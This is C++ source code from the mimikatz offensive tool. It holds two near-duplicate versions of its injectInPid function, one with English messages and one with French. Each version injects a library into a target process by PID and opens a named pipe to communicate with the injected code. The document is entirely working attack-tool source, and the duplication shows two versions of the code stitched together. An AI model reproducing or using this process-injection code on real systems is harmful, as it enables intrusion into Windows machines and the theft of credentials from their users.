bool mod_mimikatz_inject::injectInPid(DWORD & pid, wstring & libPath, bool isComm)
{
	bool reussite = false;

	if(!isComm || (isComm && !monCommunicator))
	{
		if(reussite = mod_inject::injectLibraryInPid(pid, &libPath))
		{
			if(isComm)
			{
				wstring monBuffer = L"";

				monCommunicator = new mod_pipe(L"kiwi\\mimikatz");
				wcout << L"Waiting for client connection..." << endl;

				if(monCommunicator->createServer())
				{
					wcout << L"Server connected to a client !" << endl;
					if(monCommunicator->readFromPipe(monBuffer))
					{
						wcout << L"Message process :" << endl << monBuffer << endl;
					}
					else
					{
						wcout << L"Error : Unable to read the first message ! ; " <<  mod_system::getWinError() << endl;
						closeThisCommunicator();
					}
				}
				else
				{
					wcout << L"Error : Unable to create a communication channel! ; " << mod_system::getWinError() << endl;
					closeThisCommunicator();
				}
			}
			else
				wcout << L"Injected without communication (legacy)" << endl;
		} else wcout << L"Error : Unable to inject ! ; " << mod_system::getWinError() << endl;
	}
	else wcout << L"Error : communicaton channel is already open" << endl;

	return reussite;
}
bool mod_mimikatz_inject::injectInPid(DWORD & pid, wstring & libPath, bool isComm)
{
	bool reussite = false;

	if(!isComm || (isComm && !monCommunicator))
	{
		if(reussite = mod_inject::injectLibraryInPid(pid, &libPath))
		{
			if(isComm)
			{
				wstring monBuffer = L"";

				monCommunicator = new mod_pipe(L"kiwi\\mimikatz");
				(*outputStream) << L"Attente de connexion du client..." << endl;

				if(monCommunicator->createServer())
				{
					(*outputStream) << L"Serveur connecté à un client !" << endl;
					if(monCommunicator->readFromPipe(monBuffer))
					{
						(*outputStream) << L"Message du processus :" << endl << monBuffer << endl;
					}
					else
					{
						(*outputStream) << L"Erreur : Impossible de lire le premier message ! ; " <<  mod_system::getWinError() << endl;
						closeThisCommunicator();
					}
				}
				else
				{
					(*outputStream) << L"Erreur : Impossible de créer un canal de communication ! ; " << mod_system::getWinError() << endl;
					closeThisCommunicator();
				}
			}
			else
				(*outputStream) << L"Injecté sans communication (legacy)" << endl;
		} else (*outputStream) << L"Erreur : Impossible d\'injecter ! ; " << mod_system::getWinError() << endl;
	}
	else (*outputStream) << L"Erreur : un canal de communicaton est déjà ouvert" << endl;

	return reussite;
}